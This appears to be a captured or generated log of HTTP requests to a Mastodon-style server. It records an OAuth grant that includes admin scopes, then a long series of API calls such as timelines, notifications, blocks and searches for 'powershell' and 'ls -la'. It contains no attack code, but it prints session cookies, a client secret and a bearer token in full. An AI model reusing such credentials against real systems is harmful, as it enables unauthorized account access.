{"method": "GET", "target": "/packs/video-B-s0PS3Z.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQmxOalF3TmpCak9ESmhZbU16TlRKa04yUmlOMk5tTVRNNVlUa3hOVEJsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTQ6NDAuNTkwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--88ab789cd0698755e1951bb51b721cfc4acc5b54; _mastodon_session=UJ2xL0EEwqyYjkT1doIj1CSZ8bWeuesxm7ed5rVSqQ9h5%2B56jiBCmF%2BVLfwHoovftGNwhrrZmEjC71gB4yGZ0NDq%2BgmiRHu6e5Bfczgfvext3MwTmnNjq3az5L5dz1tKxm3TT2LgvWncIXPSNw757RsvEdgqXN8y4vi3bH1CvK0IQLdE8A5mLHl6lY14EHsGe3j731%2BweyxzenkYynHA9hE4Ib6eXApqFPkmxt%2ButqbF359YwuIh%2FqXCgpWGh%2FDlckV55TKbr%2FJ4S6RJekjjA%2FJD3wa7OgHZenpH5DIbYVEANGAr1dCeBmhFIOaOY6%2BX3q0fgIJLx%2FYyt0JIRQmc9r8JmAvWB9EtbpNc9SdUNuOTjCnB65ZWuu8WpSsNxZyhW7Ck4%2BjQoIPU--sBQ7b%2F50W2Dktyh8--r2gfUWS7BTb44G9nbpeJdQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/link_footer-DaHtacuU.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQmxOalF3TmpCak9ESmhZbU16TlRKa04yUmlOMk5tTVRNNVlUa3hOVEJsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTQ6NDAuNTkwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--88ab789cd0698755e1951bb51b721cfc4acc5b54; _mastodon_session=UJ2xL0EEwqyYjkT1doIj1CSZ8bWeuesxm7ed5rVSqQ9h5%2B56jiBCmF%2BVLfwHoovftGNwhrrZmEjC71gB4yGZ0NDq%2BgmiRHu6e5Bfczgfvext3MwTmnNjq3az5L5dz1tKxm3TT2LgvWncIXPSNw757RsvEdgqXN8y4vi3bH1CvK0IQLdE8A5mLHl6lY14EHsGe3j731%2BweyxzenkYynHA9hE4Ib6eXApqFPkmxt%2ButqbF359YwuIh%2FqXCgpWGh%2FDlckV55TKbr%2FJ4S6RJekjjA%2FJD3wa7OgHZenpH5DIbYVEANGAr1dCeBmhFIOaOY6%2BX3q0fgIJLx%2FYyt0JIRQmc9r8JmAvWB9EtbpNc9SdUNuOTjCnB65ZWuu8WpSsNxZyhW7Ck4%2BjQoIPU--sBQ7b%2F50W2Dktyh8--r2gfUWS7BTb44G9nbpeJdQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/oauth/authorize?client_id=0BfvlF0qFU4y7pDmHLJZSjT2JE21Tl_Np38nIqOdjHY&redirect_uri=urn%3Aietf%3Awg%3Aoauth%3A2.0%3Aoob&response_type=code&scope=read+write+follow+push+admin%3Aread+admin%3Awrite", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQmxOalF3TmpCak9ESmhZbU16TlRKa04yUmlOMk5tTVRNNVlUa3hOVEJsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTQ6NDAuNTkwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--88ab789cd0698755e1951bb51b721cfc4acc5b54; _mastodon_session=UJ2xL0EEwqyYjkT1doIj1CSZ8bWeuesxm7ed5rVSqQ9h5%2B56jiBCmF%2BVLfwHoovftGNwhrrZmEjC71gB4yGZ0NDq%2BgmiRHu6e5Bfczgfvext3MwTmnNjq3az5L5dz1tKxm3TT2LgvWncIXPSNw757RsvEdgqXN8y4vi3bH1CvK0IQLdE8A5mLHl6lY14EHsGe3j731%2BweyxzenkYynHA9hE4Ib6eXApqFPkmxt%2ButqbF359YwuIh%2FqXCgpWGh%2FDlckV55TKbr%2FJ4S6RJekjjA%2FJD3wa7OgHZenpH5DIbYVEANGAr1dCeBmhFIOaOY6%2BX3q0fgIJLx%2FYyt0JIRQmc9r8JmAvWB9EtbpNc9SdUNuOTjCnB65ZWuu8WpSsNxZyhW7Ck4%2BjQoIPU--sBQ7b%2F50W2Dktyh8--r2gfUWS7BTb44G9nbpeJdQ%3D%3D"], "body": ""}
{"method": "POST", "target": "/oauth/authorize", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 337", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/oauth/authorize?client_id=0BfvlF0qFU4y7pDmHLJZSjT2JE21Tl_Np38nIqOdjHY&redirect_uri=urn%3Aietf%3Awg%3Aoauth%3A2.0%3Aoob&response_type=code&scope=read+write+follow+push+admin%3Aread+admin%3Awrite", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQmxOalF3TmpCak9ESmhZbU16TlRKa04yUmlOMk5tTVRNNVlUa3hOVEJsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTQ6NDEuODg0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--621494457639e6c6eb96dc9847f947e7067eae30; _mastodon_session=uPLQM1cESL%2B7E3h%2BkoKBVQi7KCEqd1xtga6UA9I59WUUDid3l0CPUZDjd2eUD3ObJDVCg2WB654rgcdC7ries0JT5QS3lgJWd968H%2ByKJO3FNFT5S73yU3g%2FdV2o2WVixDlp4kXM%2FFxQY2qi%2BqTbM9DxNQ%2BakzZO9nUbMQAVxcwVpAV6Ar%2Bd2XsJgUgbg1bqPXCvS5cnNowPxIxJA716KuxPjloQdOlW6%2F%2BiGeNumkownrd8RM%2BTxQxIU7ZJ%2BdY7ULP%2FQk69hYK57bvvYwkEoQEe7Uc2mkeZyHwll7V2ZJ2sjGEQYj24i%2FYUBPND408UiHZpiw%2B1BThKMUC9y%2BioLXRf%2BSmXa9pxyINuCHwAru1JYmSNvee3cOhT5cSvxxr0XSX0%2BFB84pIu0HybMezNInMH0YoskNQ8PiU3iCaRKscVxb%2BkdYE3mlkZnOPNmqco9%2FoU64QX%2FTHsHBrHl7E3wyM92sW%2Bj4BgGsnmsLOJwZttK8HzdYtpeZeDiMSq3q%2FpGS4N%2FTBt3Fy9q41skRqImjEH8swt0rJ%2BrhK0Umu6frQtSIt5QR8PIcnhapSLInLB2dIfIqzr%2BFetsrwbS2tTDjcU3CLaMo%2F2dKsW7yZPYmAqo8r%2Bihflse%2Foilvf6E%2FwU8KRjTOYanz0nRJYAPxiLnMSMqKK3Hk8iEtof8XgpUNJUBAZOOFqWj0zgWRfVXozcZ0YahVvA5voX5VY2cZlkq8haownc9iEMq8WR3xA72pgsEYhaguRu0Tj4AAT0Sbxa5LI2828veKSW5Ij0xsMGqE84L4T9XhTXw%3D%3D--3jplX%2B5kMn1rYgjR--RkT9dVHEnHlML6A1oSPLjQ%3D%3D"], "body": "authenticity_token=1Mm4T7CiD0pg7JgWOzx9DaDkDfw6wIZr68sOX4wv3zpG8Cue1nnjghZJfiMkv3klTKvVjsIG7wFfULuVRvy0Fw&client_id=0BfvlF0qFU4y7pDmHLJZSjT2JE21Tl_Np38nIqOdjHY&redirect_uri=urn%3Aietf%3Awg%3Aoauth%3A2.0%3Aoob&code_challenge=&code_challenge_method=&state=&response_type=code&scope=read+write+follow+push+admin%3Aread+admin%3Awrite&button="}
{"method": "GET", "target": "/oauth/authorize/native?code=0RKM5HWLiEdgxhSsAdc56Xz0rTCoSzM2KHEP4tK-AxI", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/oauth/authorize?client_id=0BfvlF0qFU4y7pDmHLJZSjT2JE21Tl_Np38nIqOdjHY&redirect_uri=urn%3Aietf%3Awg%3Aoauth%3A2.0%3Aoob&response_type=code&scope=read+write+follow+push+admin%3Aread+admin%3Awrite", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQmxOalF3TmpCak9ESmhZbU16TlRKa04yUmlOMk5tTVRNNVlUa3hOVEJsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTQ6NDQuNDY1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--34899739b80b78dbacebc27269fc960182e812c9; _mastodon_session=9wxLvDbvs%2B4cJAY5wLTjjorTBO%2BPSLPRKp0tFNm7qP31dqJBZEdekgK6H3VsiA1f9BjCfSGsN0hgdf76n0%2F4Tz6wdZmlC7mqS1TpbppwbrKVRTlN81vRNL8wdZJa4CkPWlij1ntYugHNsuTRz8R9W%2Fe2hJ7YBPUzc6Bwhs8XrjWWLlas1ukiq2iTdBrQ6EcenlN0d%2FX3B7Nz51Ms18HkxXOS3h777fdvADgW%2F5rYDeuhNEwzHDpfE0YsI8%2BCnbmKVEG82AHngYMnU9hSBtLQ3XCJpw9unP%2FXzCSmAYNN8W07M8nIzMaDOgrdwXZ58IAuV4sIODuFWzXmeDi4%2FPAfGLQpk4ITkple9LgakxVw%2Fr6mN%2BUiKDP%2BJ2N1WF8BfUpkXexORneNr5XZGqWCP5QhusXvFdbkmaNaK6ERSibhytl9Ug2g4j5jZh18ZEUaooPJ1ZhyfaXKQAD9--6qxIvCcQ1DrVYTMI--qK%2Bj%2FW6xZRi3Uom%2ByQHlyw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/typed_functions-Whap35TF.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/oauth/authorize/native?code=0RKM5HWLiEdgxhSsAdc56Xz0rTCoSzM2KHEP4tK-AxI", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQmxOalF3TmpCak9ESmhZbU16TlRKa04yUmlOMk5tTVRNNVlUa3hOVEJsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTQ6NDQuNDk2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2c3c1b1932f399d9e0dc408246472dc79d4a8d90; _mastodon_session=WVbdpMQOgJqU6v5xLdF341U3dDbFuAcwM38nlaJ3XAFGhFbNo9uw8EHTpTmJZYhSm5akTxG1MiBx9Krb7XFK02ivN0SWmOmkRRtXXV95CiqgS5zUU65uSWtK1UmROu0Lii%2B3pXfSk8LEMA4x4xlimbtinAfl59GQPZ1AdEYUXS1dDarlWWBMz1grR6HJ5qJgRYQkkWc8ZBRprVvUp5Wat8BQw6RduHXCwoW%2BSff%2F9LINPzewbTFCVgAmgsfzKze1rS9sBH%2BdQr1quGVZZZa8VvldD3n2CWxOK2Ai%2FAmkpat8EyFVJqIsuz%2FHs2nBtdzDX8MXMxDRlG3BThrh%2FRuUk9D8p7sHgREeoHFjK26aHFvLMv%2BpNfCThk4LJH1wmuyzVKNpzzczDbjIYj4do2QuKBM7JFc4%2FBeq7rdTocD1U%2B5y4493xego6ZspgtN%2BWbPAn1CV1lVtC9JAUPCH7ksina6JcrOhfRcICEXVPFNilvxFKhx6CuCo8CWXcisLdQd5ObVaNmS6%2FsCF7ivLjCVFhIB0zTpJa8eQd8KOzK4BsH0Q4su5CQ%3D%3D--HPIAwvQ9fTRbUoEj--WXsg%2Blt%2FBcIPuApPFK39qg%3D%3D"], "body": ""}
{"method": "POST", "target": "/oauth/token", "headers": ["Host: example.com", "Content-Length: 295", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Content-Type: application/x-www-form-urlencoded"], "body": "grant_type=authorization_code&code=0RKM5HWLiEdgxhSsAdc56Xz0rTCoSzM2KHEP4tK-AxI&client_id=0BfvlF0qFU4y7pDmHLJZSjT2JE21Tl_Np38nIqOdjHY&client_secret=AMGHJwUSh7h3W2iG-SEcqtbCZf3TXbKrSh-i1-U-mE8&redirect_uri=urn%3Aietf%3Awg%3Aoauth%3A2.0%3Aoob&scope=read+write+follow+push+admin%3Aread+admin%3Awrite"}
{"method": "GET", "target": "/api/v1/accounts/verify_credentials", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/apps/verify_credentials", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/instance", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/preferences", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/filters", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/filters", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/markers?timeline%5B%5D=home&timeline%5B%5D=notifications", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/timelines/home?limit=40", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/timelines/public?local=true&limit=20", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/timelines/tag/python3", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/notifications?exclude_types%5B%5D=follow_request", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/notifications?grouped_types%5B%5D=favourite&grouped_types%5B%5D=reblog&grouped_types%5B%5D=follow", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/conversations", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/trends/links", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/suggestions", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/directory?local=true&order=active", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/bookmarks", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/favourites", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/blocks", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/mutes", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/domain_blocks", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/endorsements", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/featured_tags", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/featured_tags/suggestions", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/scheduled_statuses", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/tags/python3", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/lookup?acct=bob", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/relationships?id%5B%5D=117589326485981102&id%5B%5D=117589325674471006", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/117589326485981102/statuses?exclude_replies=true&limit=20", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=river+walk&resolve=true&limit=10", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=river+walk&type=statuses&limit=20", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/search?q=river+walk&resolve=false&limit=4", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=river+walk&type=accounts&limit=5", "headers": ["Host: example.com", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=python3&resolve=true&limit=10", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=python3&type=statuses&limit=20", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/search?q=python3&resolve=false&limit=4", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=python3&type=accounts&limit=5", "headers": ["Host: example.com", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=powershell&resolve=true&limit=10", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=powershell&type=statuses&limit=20", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/search?q=powershell&resolve=false&limit=4", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=powershell&type=accounts&limit=5", "headers": ["Host: example.com", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=ls+-la&resolve=true&limit=10", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=ls+-la&type=statuses&limit=20", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/search?q=ls+-la&resolve=false&limit=4", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
